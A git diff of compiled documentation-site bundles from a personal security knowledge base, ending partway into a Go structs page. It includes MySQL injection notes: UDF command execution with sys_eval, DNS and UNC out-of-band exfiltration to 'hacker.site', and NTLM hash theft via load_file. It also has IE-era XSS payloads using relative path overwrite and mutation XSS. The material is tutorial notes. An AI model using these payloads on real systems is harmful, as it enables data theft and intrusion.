\u800c\u4e0d\u662f\uff0c\u8fd9\u6837\u53ef\u4ee5\u663e\u793a\u66f4\u5c11\u7684\u7b26\u53f7"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"group_concat\uff08\uff09=1024 \u4e2a\u7b26\u53f7"}),"\n",(0,l.jsx)(n.li,{children:"json_arrayagg\uff08\uff09>16000000 \u4e2a\u7b26\u53f7"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-udf-\u547d\u4ee4\u6267\u884c",children:"MYSQL UDF \u547d\u4ee4\u6267\u884c"}),"\n",(0,l.jsx)(n.p,{children:"\u9996\u5148\uff0c\u60a8\u9700\u8981\u68c0\u67e5 UDF \u662f\u5426\u5b89\u88c5\u5728\u670d\u52a1\u5668\u4e0a\u3002"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"$ whereis lib_mysqludf_sys.so\n/usr/lib/lib_mysqludf_sys.so\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7136\u540e\u60a8\u53ef\u4ee5\u4f7f\u7528\u8bf8\u5982 ",(0,l.jsx)(n.code,{children:"sys_exec"})," \u548c ",(0,l.jsx)(n.code,{children:"sys_eval"})," \u4e4b\u7c7b\u7684\u529f\u80fd\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"$ mysql -u root -p mysql\nEnter password: [...]\nmysql> SELECT sys_eval('id');\n+--------------------------------------------------+\n| sys_eval('id') |\n+--------------------------------------------------+\n| uid=118(mysql) gid=128(mysql) groups=128(mysql) |\n+--------------------------------------------------+\n"})}),"\n",(0,l.jsx)(n.h2,{id:"mysql-\u5e26\u5916",children:"MYSQL \u5e26\u5916"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"select @@version into outfile '\\\\\\\\192.168.0.100\\\\temp\\\\out.txt';\nselect @@version into dumpfile '\\\\\\\\192.168.0.100\\\\temp\\\\out.txt\n"})}),"\n",(0,l.jsx)(n.h3,{id:"dns-\u5916\u8fc7\u6ee4",children:"DNS \u5916\u8fc7\u6ee4"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"select load_file(concat('\\\\\\\\',version(),'.hacker.site\\\\a.txt'));\nselect load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))\n"})}),"\n",(0,l.jsx)(n.h3,{id:"unc-\u8def\u5f84-ntlm-\u54c8\u5e0c\u7a83\u53d6",children:"UNC \u8def\u5f84-NTLM \u54c8\u5e0c\u7a83\u53d6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sql",children:"select load_file('\\\\\\\\error\\\\abc');\nselect load_file(0x5c5c5c5c6572726f725c5c616263);\nselect 'osanda' into dumpfile '\\\\\\\\error\\\\abc';\nselect 'osanda' into outfile '\\\\\\\\error\\\\abc';\nload data infile '\\\\\\\\error\\\\abc' into table database.table_name;\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf",children:"MySQL \u5e26\u5916\u9ed1\u5ba2\u653b\u51fb-@OsandaMalith"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/",children:"[Sqli] \u5728\u4e0d\u77e5\u9053\u5217\u540d\u7684\u60c5\u51b5\u4e0b\u63d0\u53d6\u6570\u636e-Ahmed Sultan@0x4148"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://rdot.org/forum/showpost.php?p=114&postcount=1",children:"MySQL \u6ce8\u5c04\u5668\u5e2e\u52a9-rdot.org"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://resources.infosecinstitute.com/sql-truncation-attack/",children:"SQL \u622a\u65ad\u653b\u51fb-Warlock"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://hackerone.com/reports/508123",children:"\u9ed1\u5ba2\u4e00\u53f7 @ajxchapman 50 \u7c73 ctf \u5199\u4f5c-Alex Chapman@ajxchabman"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://sqlwiki.netspi.com/injectionTypes/errorBased",children:"SQL Wiki-netspi"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://github.com/p4-team/ctf/tree/master/2016-10-26-ekoparty/web_100",children:"kokoparty \u7f51\u7edc 100"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://websec.ca/kb/sql_injection#MySQL_Default_Databases",children:"WebSec-MySQL-Roberto Salgado-2013 \u5e74 5 \u6708 29 \u65e5\u3002"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/7a4a1c51.472d9514.js b/en/assets/js/7a4a1c51.472d9514.js new file mode 100644 index 0000000..cb6cdbc --- /dev/null +++ b/en/assets/js/7a4a1c51.472d9514.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8916],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var s=n(96540);const r={},l=s.createContext(r);function c(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:t},e.children)}},86460:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/README","title":"\u7b2c\u96f6\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"PyTorch","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/"},"next":{"title":"0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2"}}');var r=n(74848),l=n(28453);const c={},i="\u7b2c\u96f6\u7ae0",d={},o=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u7b2c\u96f6\u7ae0",children:"\u7b2c\u96f6\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"\u7b2c\u96f6\u7ae0\u524d\u7f6e\u77e5\u8bc6",children:"\u7b2c\u96f6\u7ae0\uff1a\u524d\u7f6e\u77e5\u8bc6"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2\n0.2 \u8bc4\u4ef7\u6307\u6807\n0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60\n0.4 Jupyter\u76f8\u5173\u64cd\u4f5c\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/7bd6eb69.0842d0e2.js b/en/assets/js/7bd6eb69.0842d0e2.js new file mode 100644 index 0000000..471cb5f --- /dev/null +++ b/en/assets/js/7bd6eb69.0842d0e2.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[648],{13441:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>a,default:()=>d,frontMatter:()=>l,metadata:()=>r,toc:()=>c});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite","title":"02.XSSWithRelativePathOverwrite.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/02.XSSWithRelativePathOverwrite.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/02.XSSWithRelativePathOverwrite.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Angular \u548c AngularJS \u4e2d\u7684 XSS","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular"},"next":{"title":"SSRF\u6f0f\u6d1e","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/"}}');var s=n(74848),i=n(28453);const l={},a="02.XSSWithRelativePathOverwrite.md",o={},c=[{value:"\u6d4f\u89c8\u5668 IE8/IE9 \u7684\u53d8\u5f02 XSS",id:"\u6d4f\u89c8\u5668-ie8ie9-\u7684\u53d8\u5f02-xss",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function h(e){const t={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"02xsswithrelativepathoverwritemd",children:"02.XSSWithRelativePathOverwrite.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 09:51:19"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u5177\u6709\u76f8\u5bf9\u8def\u5f84\u8986\u76d6\u7684-xss-ie-89-\u53ca\u66f4\u4f4e\u7248\u672c",children:"\u5177\u6709\u76f8\u5bf9\u8def\u5f84\u8986\u76d6\u7684 XSS-IE 8/9 \u53ca\u66f4\u4f4e\u7248\u672c"}),"\n",(0,s.jsx)(t.p,{children:"\u60a8\u9700\u8981\u8fd9 3 \u4e2a\u7ec4\u4ef6"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-javascript",children:"1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}\n2) URL Rewriting.\n3) Relative addressing to CSS style sheet : ../style.css\n"})}),"\n",(0,s.jsx)(t.p,{children:"\u4e00\u4e2a\u5c0f\u4f8b\u5b50"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-html",children:'http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]\n<html>\n<head>\n<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />\n<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />\n</head>\n<body>\nStored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}\n</body>\n</html>\n'})}),"\n",(0,s.jsx)(t.p,{children:"\u6f0f\u6d1e\u7684\u89e3\u91ca"}),"\n",(0,s.jsxs)(t.blockquote,{children:["\n",(0,s.jsx)(t.p,{children:"Meta \u5143\u7d20\u5f3a\u5236 IE \u7684\u6587\u6863\u6a21\u5f0f\u4e0e\u6267\u884c\u8868\u8fbe\u5f0f\u6240\u9700\u7684 IE7 \u517c\u5bb9\u3002\u6211\u4eec\u7684\u6301\u4e45\u6587\u672c\uff5b\uff5d * \uff5b xss:expression\uff08open\uff08alert\uff081\uff09\uff09\uff09\u5305\u542b\u5728\u9875\u9762\u4e0a\uff0c\u5728\u5b9e\u9645\u60c5\u51b5\u4e0b\uff0c\u5b83\u5c06\u662f\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6\u9875\u9762\uff0c\u6216\u8005\u53ef\u80fd\u662f\u5176\u4ed6\u7528\u6237\u53ef\u4ee5\u67e5\u770b\u7684\u5171\u4eab\u72b6\u6001\u66f4\u65b0\u3002\u6211\u4eec\u4f7f\u7528\u201copen\u201d\u6765\u9632\u6b62\u91cd\u590d\u6267\u884c\u8b66\u62a5\u7684\u5ba2\u6237\u7aef DoS\u3002\n\u4e00\u4e2a\u7b80\u5355\u7684\u201crpo.php/\u201d\u8bf7\u6c42\u4f7f\u76f8\u5bf9\u6837\u5f0f\u5c06\u9875\u9762\u672c\u8eab\u52a0\u8f7d\u4e3a\u6837\u5f0f\u8868\u3002\u5b9e\u9645\u7684\u8bf7\u6c42\u662f\u201c/labs/xss_horror_show/chapter7/rpo.php/styles.css\u201d\uff0c\u6d4f\u89c8\u5668\u8ba4\u4e3a\u8fd8\u6709\u53e6\u4e00\u4e2a\u76ee\u5f55\uff0c\u4f46\u5b9e\u9645\u7684\u8bf7\u6c42\u88ab\u53d1\u9001\u5230\u6587\u6863\uff0c\u8fd9\u672c\u8d28\u4e0a\u5c31\u662f rpo \u653b\u51fb\u7684\u5de5\u4f5c\u65b9\u5f0f\u3002"}),"\n"]}),"\n",(0,s.jsxs)(t.p,{children:["\u6f14\u793a 1 \u4f4d\u4e8e ",(0,s.jsx)(t.code,{children:"http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php"})," \u6f14\u793a 2 \u4f4d\u4e8e ",(0,s.jsx)(t.code,{children:"http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3"})," \u591a\u6d4f\u89c8\u5668\uff1a"]}),"\n",(0,s.jsxs)(t.p,{children:["\u53d1\u4ef6\u4eba\uff1a ",(0,s.jsx)(t.code,{children:"http://www.thespanner.co.uk/2014/03/21/rpo/"})]}),"\n",(0,s.jsx)(t.h2,{id:"\u6d4f\u89c8\u5668-ie8ie9-\u7684\u53d8\u5f02-xss",children:"\u6d4f\u89c8\u5668 IE8/IE9 \u7684\u53d8\u5f02 XSS"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-javascript",children:"<listing id=x><img src=1 onerror=alert(1)></listing>\n<script>alert(document.getElementById('x').innerHTML)<\/script>\n"})}),"\n",(0,s.jsx)(t.p,{children:"IE \u5c06\u591a\u6b21\u8bfb\u53d6\u548c\u5199\u5165\uff08\u89e3\u7801\uff09HTML\uff0c\u653b\u51fb\u8005 XSS \u8d1f\u8f7d\u5c06\u53d1\u751f\u53d8\u5f02\u5e76\u6267\u884c\u3002"}),"\n",(0,s.jsx)(t.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,s.jsxs)(t.ul,{children:["\n",(0,s.jsx)(t.li,{children:(0,s.jsx)(t.a,{href:"TODO",children:"TODO"})}),"\n"]})]})}function d(e={}){const{wrapper:t}={...(0,i.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>a});var r=n(96540);const s={},i=r.createContext(s);function l(e){const t=r.useContext(i);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function a(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:l(e.components),r.createElement(i.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/7c3efdf8.b5055b06.js b/en/assets/js/7c3efdf8.b5055b06.js new file mode 100644 index 0000000..8dfe274 --- /dev/null +++ b/en/assets/js/7c3efdf8.b5055b06.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9173],{28453:(n,e,t)=>{t.d(e,{R:()=>d,x:()=>c});var s=t(96540);const r={},i=s.createContext(r);function d(n){const e=s.useContext(i);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:d(n.components),s.createElement(i.Provider,{value:e},n.children)}},41108:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>l,contentTitle:()=>c,default:()=>h,frontMatter:()=>d,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53","description":"\u7c7b\u578b\u522b\u540d\u548c\u81ea\u5b9a\u4e49\u7c7b\u578b","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/14.GoLang-\u7ed3\u6784\u4f53.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7ed3\u6784\u4f53","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/14.GoLang-\u7ed3\u6784\u4f53.md","tags":[],"version":"current","sidebarPosition":14,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Redis","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u64cd\u4f5cRedis"},"next":{"title":"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305"}}');var r=t(74848),i=t(28453);const d={},c="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53",l={},a=[{value:"\u7c7b\u578b\u522b\u540d\u548c\u81ea\u5b9a\u4e49\u7c7b\u578b",id:"\u7c7b\u578b\u522b\u540d\u548c\u81ea\u5b9a\u4e49\u7c7b\u578b",level:2},{value:"\u81ea\u5b9a\u4e49\u7c7b\u578b",id:"\u81ea\u5b9a\u4e49\u7c7b\u578b",level:3},{value:"\u7c7b\u578b\u522b\u540d",id:"\u7c7b\u578b\u522b\u540d",level:3},{value:"\u7c7b\u578b\u5b9a\u4e49\u548c\u7c7b\u578b\u522b\u540d\u7684\u533a\u522b",id:"\u7c7b\u578b\u5b9a\u4e49\u548c\u7c7b\u578b\u522b\u540d\u7684\u533a\u522b",level:3},{value:"\u7ed3\u6784\u4f53",id:"\u7ed3\u6784\u4f53",level:2},{value:"\u7ed3\u6784\u4f53\u7684\u5b9a\u4e49",id:"\u7ed3\u6784\u4f53\u7684\u5b9a\u4e49",level:3},{value:"\u7ed3\u6784\u4f53\u5b9e\u4f8b\u5316",id:"\u7ed3\u6784\u4f53\u5b9e\u4f8b\u5316",level:3},{value:"\u57fa\u672c\u5b9e\u4f8b\u5316",id:"\u57fa\u672c\u5b9e\u4f8b\u5316",level:4},{value:"\u533f\u540d\u7ed3\u6784\u4f53",id:"\u533f\u540d\u7ed3\u6784\u4f53",level:4},{value:"\u521b\u5efa\u6307\u9488\u7c7b\u578b\u7ed3\u6784\u4f53",id:"\u521b\u5efa\u6307\u9488\u7c7b\u578b\u7ed3\u6784\u4f53",level:4},{value:"\u53d6\u7ed3\u6784\u4f53\u7684\u5730\u5740\u5b9e\u4f8b\u5316",id:"\u53d6\u7ed3\u6784\u4f53\u7684\u5730\u5740\u5b9e\u4f8b\u5316",level:4},{value:"\u7ed3\u6784\u4f53\u521d\u59cb\u5316",id:"\u7ed3\u6784\u4f53\u521d\u59cb\u5316",level:3},{value:"\u4f7f\u7528\u952e\u503c\u5bf9\u521d\u59cb\u5316",id:"\u4f7f\u7528\u952e\u503c\u5bf9\u521d\u59cb\u5316",level:4},{value:"\u4f7f\u7528\u503c\u7684\u5217\u8868\u521d\u59cb\u5316",id:"\u4f7f\u7528\u503c\u7684\u5217\u8868\u521d\u59cb\u5316",level:4},{value:"\u7ed3\u6784\u4f53\u5185\u5b58\u5e03\u5c40",id:"\u7ed3\u6784\u4f53\u5185\u5b58\u5e03\u5c40",level:3},{value:"\u7a7a\u7ed3\u6784\u4f53",id:"\u7a7a\u7ed3\u6784\u4f53",level:4},{value:"\u9762\u8bd5\u9898",id:"\u9762\u8bd5\u9898",level:3},{value:"\u6784\u9020\u51fd\u6570",id:"\u6784\u9020\u51fd\u6570",level:3},{value:"\u65b9\u6cd5\u548c\u63a5\u6536\u8005",id:"\u65b9\u6cd5\u548c\u63a5\u6536\u8005",level:3},{value:"\u6307\u9488\u7c7b\u578b\u7684\u63a5\u6536\u8005",id:"\u6307\u9488\u7c7b\u578b\u7684\u63a5\u6536\u8005",level:4},{value:"\u503c\u7c7b\u578b\u7684\u63a5\u6536\u8005",id:"\u503c\u7c7b\u578b\u7684\u63a5\u6536\u8005",level:4},{value:"\u4ec0\u4e48\u65f6\u5019\u5e94\u8be5\u4f7f\u7528\u6307\u9488\u7c7b\u578b\u63a5\u6536\u8005",id:"\u4ec0\u4e48\u65f6\u5019\u5e94\u8be5\u4f7f\u7528\u6307\u9488\u7c7b\u578b\u63a5\u6536\u8005",level:4},{value:"\u4efb\u610f\u7c7b\u578b\u6dfb\u52a0\u65b9\u6cd5",id:"\u4efb\u610f\u7c7b\u578b\u6dfb\u52a0\u65b9\u6cd5",level:3},{value:"\u7ed3\u6784\u4f53\u7684\u533f\u540d\u5b57\u6bb5",id:"\u7ed3\u6784\u4f53\u7684\u533f\u540d\u5b57\u6bb5",level:3},{value:"\u5d4c\u5957\u7ed3\u6784\u4f53",id:"\u5d4c\u5957\u7ed3\u6784\u4f53",level:3},{value:"\u5d4c\u5957\u533f\u540d\u5b57\u6bb5",id:"\u5d4c\u5957\u533f\u540d\u5b57\u6bb5",level:4},{value:"\u5d4c\u5957\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u540d\u51b2\u7a81",id:"\u5d4c\u5957\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u540d\u51b2\u7a81",level:4},{value:"\u7ed3\u6784\u4f53\u7684\u201c\u7ee7\u627f\u201d",id:"\u7ed3\u6784\u4f53\u7684\u7ee7\u627f",level:3},{value:"\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u53ef\u89c1\u6027",id:"\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u53ef\u89c1\u6027",level:3},{value:"\u7ed3\u6784\u4f53\u4e0eJSON\u5e8f\u5217\u5316",id:"\u7ed3\u6784\u4f53\u4e0ejson\u5e8f\u5217\u5316",level:3},{value:"\u7ed3\u6784\u4f53\u6807\u7b7e\uff08Tag\uff09",id:"\u7ed3\u6784\u4f53\u6807\u7b7etag",level:3},{value:"\u7ed3\u6784\u4f53\u548c\u65b9\u6cd5\u8865\u5145\u77e5\u8bc6\u70b9",id:"\u7ed3\u6784\u4f53\u548c\u65b9\u6cd5\u8865\u5145\u77e5\u8bc6\u70b9",level:3}];function o(n){const 